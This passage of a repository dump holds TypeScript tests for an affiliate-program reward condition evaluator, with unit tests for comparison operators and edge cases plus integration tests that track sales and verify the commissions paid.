       attribute: \"country\" as const,\n                operator: \"in\" as const,\n                value: [\"US\", \"CA\", \"UK\"],\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          customer: {\n            country: \"FR\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"not_in\", () => {\n      test(\"should match when value is not in array\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"customer\" as const,\n                attribute: \"country\" as const,\n                operator: \"not_in\" as const,\n                value: [\"US\", \"CA\", \"UK\"],\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          customer: {\n            country: \"FR\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when value is in array\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"customer\" as const,\n                attribute: \"country\" as const,\n                operator: \"not_in\" as const,\n                value: [\"US\", \"CA\", \"UK\"],\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          customer: {\n            country: \"US\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"starts_with\", () => {\n      test(\"should match when string starts with value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"sale\" as const,\n                attribute: \"productId\" as const,\n                operator: \"starts_with\" as const,\n                value: \"premium\",\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          sale: {\n            productId: \"premium-plus\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when string does not start with value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"sale\" as const,\n                attribute: \"productId\" as const,\n                operator: \"starts_with\" as const,\n                value: \"premium\",\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          sale: {\n            productId: \"basic-plus\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"ends_with\", () => {\n      test(\"should match when string ends with value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"sale\" as const,\n                attribute: \"productId\" as const,\n                operator: \"ends_with\" as const,\n                value: \"plus\",\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          sale: {\n            productId: \"premium-plus\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when string does not end with value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"sale\" as const,\n                attribute: \"productId\" as const,\n                operator: \"ends_with\" as const,\n                value: \"plus\",\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          sale: {\n            productId: \"premium-basic\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"greater_than\", () => {\n      test(\"should match when numeric value is greater than condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalClicks\" as const,\n                operator: \"greater_than\" as const,\n                value: 100,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalClicks: 150,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when numeric value is equal to condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalClicks\" as const,\n                operator: \"greater_than\" as const,\n                value: 100,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalClicks: 100,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n\n      test(\"should not match when numeric value is less than condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalClicks\" as const,\n                operator: \"greater_than\" as const,\n                value: 100,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalClicks: 50,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"greater_than_or_equal\", () => {\n      test(\"should match when numeric value is greater than condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalLeads\" as const,\n                operator: \"greater_than_or_equal\" as const,\n                value: 50,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalLeads: 75,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should match when numeric value is equal to condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalLeads\" as const,\n                operator: \"greater_than_or_equal\" as const,\n                value: 50,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalLeads: 50,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when numeric value is less than condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalLeads\" as const,\n                operator: \"greater_than_or_equal\" as const,\n                value: 50,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalLeads: 25,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"less_than\", () => {\n      test(\"should match when numeric value is less than condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalConversions\" as const,\n                operator: \"less_than\" as const,\n                value: 10,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalConversions: 5,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when numeric value is equal to condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalConversions\" as const,\n                operator: \"less_than\" as const,\n                value: 10,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalConversions: 10,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n\n      test(\"should not match when numeric value is greater than condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalConversions\" as const,\n                operator: \"less_than\" as const,\n                value: 10,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalConversions: 15,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"less_than_or_equal\", () => {\n      test(\"should match when numeric value is less than condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalSaleAmount\" as const,\n                operator: \"less_than_or_equal\" as const,\n                value: 1000,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalSaleAmount: 750,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should match when numeric value is equal to condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalSaleAmount\" as const,\n                operator: \"less_than_or_equal\" as const,\n                value: 1000,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalSaleAmount: 1000,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when numeric value is greater than condition value\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"partner\" as const,\n                attribute: \"totalSaleAmount\" as const,\n                operator: \"less_than_or_equal\" as const,\n                value: 1000,\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          partner: {\n            totalSaleAmount: 1250,\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n  });\n\n  describe(\"edge cases\", () => {\n    test(\"should return null when conditions array is empty\", () => {\n      const conditions: any[] = [];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"US\",\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n\n    test(\"should return null when context is null\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n          ],\n        },\n      ];\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context: null as any,\n      });\n\n      expect(result).toBe(null);\n    });\n\n    test(\"should return null when field value is undefined\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          // country is undefined\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n\n    test(\"should handle numeric operators with string values (type coercion)\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalClicks\" as const,\n              operator: \"greater_than\" as const,\n              value: \"100\", // String value that should be coerced to number\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          totalClicks: 150,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n\n    test(\"should handle string field values with numeric operators (type coercion)\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalCommissions\" as const,\n              operator: \"less_than_or_equal\" as const,\n              value: 500,\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          totalCommissions: 300, // Should work with Number() conversion\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n\n    test(\"should handle decimal numbers with numeric operators\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalSaleAmount\" as const,\n              operator: \"greater_than_or_equal\" as const,\n              value: 999.99,\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          totalSaleAmount: 1000.0,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n\n    test(\"should handle zero values with numeric operators\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalClicks\" as const,\n              operator: \"greater_than\" as const,\n              value: 0,\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          totalClicks: 0,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBe(null); // 0 is not greater than 0\n    });\n\n    test(\"should handle negative numbers with numeric operators\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalCommissions\" as const,\n              operator: \"greater_than\" as const,\n              value: -100,\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          totalCommissions: 50,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n  });\n\n  describe(\"mixed condition scenarios\", () => {\n    test(\"should handle mixed string and numeric operators in AND condition\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalClicks\" as const,\n              operator: \"greater_than\" as const,\n              value: 100,\n            },\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalSaleAmount\" as const,\n              operator: \"less_than_or_equal\" as const,\n              value: 10000,\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"US\",\n        },\n        partner: {\n          totalClicks: 150,\n          totalSaleAmount: 8500,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n\n    test(\"should fail when one numeric condition in AND group fails\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalClicks\" as const,\n              operator: \"greater_than\" as const,\n              value: 100,\n            },\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalSaleAmount\" as const,\n              operator: \"less_than\" as const,\n              value: 5000, // This will fail\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"US\",\n        },\n        partner: {\n          totalClicks: 150,\n          totalSaleAmount: 8500, // Greater than 5000\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n\n    test(\"should succeed when one numeric condition in OR group succeeds\", () => {\n      const conditions = [\n        {\n          operator: \"OR\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalClicks\" as const,\n              operator: \"greater_than\" as const,\n              value: 1000, // This will fail\n            },\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalLeads\" as const,\n              operator: \"greater_than_or_equal\" as const,\n              value: 50, // This will succeed\n            },\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalSaleAmount\" as const,\n              operator: \"less_than\" as const,\n              value: 1000, // This will fail\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          totalClicks: 100, // Less than 1000\n          totalLeads: 75, // Greater than or equal to 50\n          totalSaleAmount: 5000, // Greater than 1000\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n\n    test(\"should return highest amount when multiple condition groups with numeric operators match\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 1000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalClicks\" as const,\n              operator: \"greater_than\" as const,\n              value: 10,\n            },\n          ],\n        },\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 3000, // Highest amount\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalLeads\" as const,\n              operator: \"greater_than_or_equal\" as const,\n              value: 5,\n            },\n          ],\n        },\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 2000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"totalConversions\" as const,\n              operator: \"less_than_or_equal\" as const,\n              value: 100,\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          totalClicks: 50, // > 10\n          totalLeads: 20, // >= 5\n          totalConversions: 25, // <= 100\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[1]); // Should return the highest amount (3000)\n    });\n  });\n\n  describe(\"partner country conditions\", () => {\n    test(\"should match partner country condition\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 1000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n          ],\n        },\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 2000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"CA\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          country: \"US\",\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]); // Should return the US condition\n    });\n\n    test(\"should match partner country with multiple countries\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 1500,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"country\" as const,\n              operator: \"in\" as const,\n              value: [\"US\", \"CA\", \"UK\"],\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          country: \"CA\",\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]); // Should match CA\n    });\n\n    test(\"should not match when partner country does not match\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 1000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          country: \"CA\",\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBeNull(); // Should not match\n    });\n\n    test(\"should handle null partner country\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 1000,\n          conditions: [\n            {\n              entity: \"partner\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        partner: {\n          country: null,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBeNull(); // Should not match when country is null\n    });\n  });\n\n  describe(\"subscription duration conditions\", () => {\n    const lessThanOrEqualCondition = [\n      {\n        operator: \"AND\" as const,\n        type: \"flat\" as const,\n        amountInCents: 5000,\n        conditions: [\n          {\n            entity: \"customer\" as const,\n            attribute: \"subscriptionDurationMonths\" as const,\n            operator: \"less_than_or_equal\" as const,\n            value: 12,\n          },\n        ],\n      },\n    ];\n\n    const greaterThanCondition = [\n      {\n        operator: \"AND\" as const,\n        type: \"flat\" as const,\n        amountInCents: 5000,\n        conditions: [\n          {\n            entity: \"customer\" as const,\n            attribute: \"subscriptionDurationMonths\" as const,\n            operator: \"greater_than\" as const,\n            value: 12,\n          },\n        ],\n      },\n    ];\n\n    test(\"should match when subscription duration meets less_than_or_equal condition\", () => {\n      const context: RewardContext = {\n        customer: {\n          subscriptionDurationMonths: 12,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: lessThanOrEqualCondition,\n        context,\n      });\n\n      expect(result).toEqual(lessThanOrEqualCondition[0]);\n    });\n\n    test(\"should not match when subscription duration is more than less_than_or_equal condition value\", () => {\n      const context: RewardContext = {\n        customer: {\n          subscriptionDurationMonths: 16,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: lessThanOrEqualCondition,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n\n    test(\"should match when subscription duration meets greater_than condition\", () => {\n      const context: RewardContext = {\n        customer: {\n          subscriptionDurationMonths: 16,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: greaterThanCondition,\n        context,\n      });\n\n      expect(result).toEqual(greaterThanCondition[0]);\n    });\n\n    test(\"should not match when subscription duration is less than greater_than condition value\", () => {\n      const context: RewardContext = {\n        customer: {\n          subscriptionDurationMonths: 6,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: greaterThanCondition,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n  });\n\n  describe(\"date conditions\", () => {\n    const cutoffDate = new Date(\"2024-06-01T00:00:00.000Z\");\n    const cutoffTimestamp = cutoffDate.getTime();\n\n    const beforeDate = new Date(\"2024-01-01T00:00:00.000Z\");\n    const afterDate = new Date(\"2024-12-01T00:00:00.000Z\");\n\n    const lessThanCondition = [\n      {\n        operator: \"AND\" as const,\n        type: \"flat\" as const,\n        amountInCents: 5000,\n        conditions: [\n          {\n            entity: \"customer\" as const,\n            attribute: \"signupDate\" as const,\n            operator: \"less_than\" as const,\n            value: cutoffTimestamp,\n          },\n        ],\n      },\n    ];\n\n    const greaterThanOrEqualCondition = [\n      {\n        operator: \"AND\" as const,\n        type: \"flat\" as const,\n        amountInCents: 5000,\n        conditions: [\n          {\n            entity: \"customer\" as const,\n            attribute: \"subscriptionStartDate\" as const,\n            operator: \"greater_than_or_equal\" as const,\n            value: cutoffTimestamp,\n          },\n        ],\n      },\n    ];\n\n    test(\"should match when signupDate is before the cutoff (less_than)\", () => {\n      const context: RewardContext = {\n        customer: {\n          signupDate: beforeDate,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: lessThanCondition,\n        context,\n      });\n\n      expect(result).toEqual(lessThanCondition[0]);\n    });\n\n    test(\"should not match when signupDate is after the cutoff (less_than)\", () => {\n      const context: RewardContext = {\n        customer: {\n          signupDate: afterDate,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: lessThanCondition,\n        context,\n      });\n\n      expect(result).toBeNull();\n    });\n\n    test(\"should match when subscriptionStartDate is on the cutoff (greater_than_or_equal)\", () => {\n      const context: RewardContext = {\n        customer: {\n          subscriptionStartDate: cutoffDate,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: greaterThanOrEqualCondition,\n        context,\n      });\n\n      expect(result).toEqual(greaterThanOrEqualCondition[0]);\n    });\n\n    test(\"should not match when subscriptionStartDate is before the cutoff (greater_than_or_equal)\", () => {\n      const context: RewardContext = {\n        customer: {\n          subscriptionStartDate: beforeDate,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: greaterThanOrEqualCondition,\n        context,\n      });\n\n      expect(result).toBeNull();\n    });\n\n    test(\"should not match when signupDate is undefined\", () => {\n      const context: RewardContext = {\n        customer: {\n          signupDate: undefined,\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions: lessThanCondition,\n        context,\n      });\n\n      expect(result).toBeNull();\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/rewards/sale-reward.test.ts",
    "content": "import { TrackSaleResponse } from \"@/lib/types\";\nimport {\n  randomCustomer,\n  randomId,\n  randomSaleAmount,\n} from \"tests/utils/helpers\";\nimport {\n  E2E_CUSTOMER_COUNTRY_CONDITIONS_EXTERNAL_ID,\n  E2E_CUSTOMER_SALE_CONDITIONS_EXTERNAL_ID,\n  E2E_CUSTOMER_SIGNUP_DATE_CONDITIONS_EXTERNAL_ID,\n  E2E_SALE_REWARD,\n  E2E_TRACK_CLICK_HEADERS,\n} from \"tests/utils/resource\";\nimport { verifyCommission } from \"tests/utils/verify-commission\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe.concurrent(\"Sale rewards with conditions\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  const randomSale = (eventName = \"Payment\") => ({\n    eventName,\n    currency: \"usd\",\n    paymentProcessor: \"stripe\",\n    amount: randomSaleAmount(),\n    invoiceId: `INV_${randomId()}`,\n  });\n\n  test(\"When {Sale} {Product ID} is {regularProductId}\", async () => {\n    const sale = randomSale(\"E2E base condition\");\n\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        customerExternalId: E2E_CUSTOMER_SALE_CONDITIONS_EXTERNAL_ID,\n        metadata: {\n          productId: \"regularProductId\",\n        },\n      },\n    });\n\n    expect(response.status).toEqual(200);\n\n    await verifyCommission({\n      http,\n      invoiceId: sale.invoiceId,\n      expectedEarnings: E2E_SALE_REWARD.amountInCents,\n    });\n  });\n\n  test(\"When {Sale} {Product ID} is {premiumProductId}\", async () => {\n    const sale = randomSale(\"E2E sale product ID condition\");\n\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        customerExternalId: E2E_CUSTOMER_SALE_CONDITIONS_EXTERNAL_ID,\n        metadata: {\n          productId: \"premiumProductId\",\n        },\n      },\n    });\n\n    expect(response.status).toEqual(200);\n\n    await verifyCommission({\n      http,\n      invoiceId: sale.invoiceId,\n      expectedEarnings: E2E_SALE_REWARD.modifiers[0].amountInCents!,\n    });\n  });\n\n  test(\"When {Sale} {Amount} is greater than {15000}\", async () => {\n    const sale = randomSale(\"E2E sale amount condition\");\n\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        amount: 17500,\n        customerExternalId: E2E_CUSTOMER_SALE_CONDITIONS_EXTERNAL_ID,\n        metadata: {\n          productId: \"premiumProductId\",\n        },\n      },\n    });\n\n    expect(response.status).toEqual(200);\n\n    await verifyCommission({\n      http,\n      invoiceId: sale.invoiceId,\n      expectedEarnings: E2E_SALE_REWARD.modifiers[1].amountInCents!,\n    });\n  });\n\n  test(\"when {Customer} {Country} is {SG}\", async () => {\n    const sale = randomSale(\"E2E customer country condition\");\n\n    const trackSaleResponse = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        customerExternalId: E2E_CUSTOMER_COUNTRY_CONDITIONS_EXTERNAL_ID,\n      },\n    });\n\n    expect(trackSaleResponse.status).toEqual(200);\n\n    await verifyCommission({\n      http,\n      invoiceId: sale.invoiceId,\n      expectedEarnings: E2E_SALE_REWARD.modifiers[2].amountInCents!,\n    });\n  });\n\n  test(\"when {Customer} {Subscription Duration} is {less than or equal to} {3}\", async () => {\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: \"getacme.link\",\n        key: \"marvin\",\n      },\n    });\n    expect(clickResponse.status).toEqual(200);\n    const trackedClickId = clickResponse.data.clickId;\n    expect(trackedClickId).toStrictEqual(expect.any(String));\n    const newCustomer = randomCustomer();\n    const sale = randomSale(\"E2E customer subscription duration condition\");\n\n    // here we use direct sale tracking to save time\n    const trackSaleResponse = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        clickId: trackedClickId,\n        customerExternalId: newCustomer.externalId,\n        customerName: newCustomer.name,\n        customerEmail: newCustomer.email,\n        customerAvatar: newCustomer.avatar,\n      },\n    });\n\n    expect(trackSaleResponse.status).toEqual(200);\n\n    await verifyCommission({\n      http,\n      invoiceId: sale.invoiceId,\n      expectedEarnings: E2E_SALE_REWARD.modifiers[3].amountInCents!,\n    });\n  });\n\n  test(\"when {Customer} {Signup Date} is {greater than} {Feb 16, 2026} AND {less than} {Feb 18, 2026}\", async () => {\n    const sale = randomSale(\"E2E customer signup date condition\");\n\n    const trackSaleResponse = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        customerExternalId: 